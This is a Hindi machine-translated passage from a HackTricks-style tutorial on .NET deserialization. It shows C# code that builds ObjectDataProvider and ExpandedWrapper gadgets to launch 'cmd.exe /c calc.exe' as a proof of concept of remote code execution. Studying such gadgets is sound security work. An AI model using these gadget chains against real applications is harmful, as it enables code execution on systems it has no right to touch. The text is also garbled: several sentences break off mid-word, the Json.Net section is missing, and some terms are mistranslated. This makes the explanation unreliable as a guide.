Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए? सब्सक्रिप्शन प्लान्स की जांच करें!
यह पोस्ट ObjectDataProvider गैजेट को उत्पन्न करने के लिए कैसे उपयोग किया जाता है जिससे RCE प्राप्त किया जा सकता है और Serialization पुस्तकालय Json.Net और xmlSerializer को कैसे दुरुपयोग किया जा सकता है उस गैजेट के साथ।
ObjectDataProvider गैजेट
दस्तावेज़ीकरण से: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, यह एक अजीब व्याख्या है, इसलिए चलिए देखते हैं कि इस क्लास में क्या है जो इतना दिलचस्प है: यह क्लास एक विविध ऑब्जेक्ट को रैप करने की अनुमति देता है, MethodParameters का उपयोग करके विविध पैरामीटर सेट करने के लिए, और फिर MethodName का उपयोग करके विविध पैरामीटर सेट करने के लिए **विविध ऑब्ज
using System.Windows.Data;using System.Diagnostics;namespace ODPCustomSerialExample{classProgram{staticvoidMain(string[] args){ObjectDataProvider myODP =newObjectDataProvider();myODP.ObjectType=typeof(Process);myODP.MethodParameters.Add("cmd.exe");myODP.MethodParameters.Add("/c calc.exe");myODP.MethodName="Start";}}}
ध्यान दें कि System.Windows.Data लोड करने के लिए C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll को संदर्भ में जोड़ना आवश्यक है।
ExpandedWrapper
पिछले उत्पीड़न का उपयोग करते हुए ऐसे मामले होंगे जहां ऑब्जेक्ट को ObjectDataProvider उदाहरण के रूप में डिसीरियलाइज़ किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करके ऑब्जेक्ट को GetType का उपयोग करके डिसीरियलाइज़ किया गया था)। फिर, ObjectDataProvider उदाहरण में ढके ऑब्जेक्ट के प्रकार के बारे में कोई जानकारी नहीं होगी (Process उदाहरण के लिए)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।
यह कक्षा एक निर्दिष्ट करने की अनुमति देती है ऑब्जेक्ट प्रकारों को उन ऑब्जेक्टों में ढके हुए जो एक निर्दिष्ट उदाहरण में होते हैं। इसलिए, यह कक्षा एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट प्रकार में ढकने और हमें आवश्यक गुण सुपूर्ति करने के लिए उपयोग किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह पिछले प्रस्तुत मामले के लिए बहुत उपयुक्त है, क्योंकि हम _ObjectDataProvider_ को एक ExpandedWrapper उदाहरण में ढक सकेंगे और जब डिसीरियलाइज़ होगी तो यह कक्षा MethodName में निर्दिष्ट कार्य को चलाएगी जो OjectDataProvider ऑब्जेक्ट बनाएगी।
आप इस रैपर को निम्नलिखित कोड के साथ जांच सकते हैं:
using System.Windows.Data;using System.Diagnostics;using System.Data.Services.Internal;namespace ODPCustomSerialExample{classProgram{staticvoidMain(string[] args){ExpandedWrapper<Process,ObjectDataProvider> myExpWrap =newExpandedWrapper<Process,ObjectDataProvider>();myExpWrap.ProjectedProperty0=newObjectDataProvider();myExpWrap.ProjectedProperty0.ObjectInstance=newProcess();myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");myExpWrap.ProjectedProperty0.MethodName="Start";}}}
Json.Net
आधिकारिक वेब पेज पर इसका इंडिकेट किया गया है कि यह लाइब्रेरी **Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्ज
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!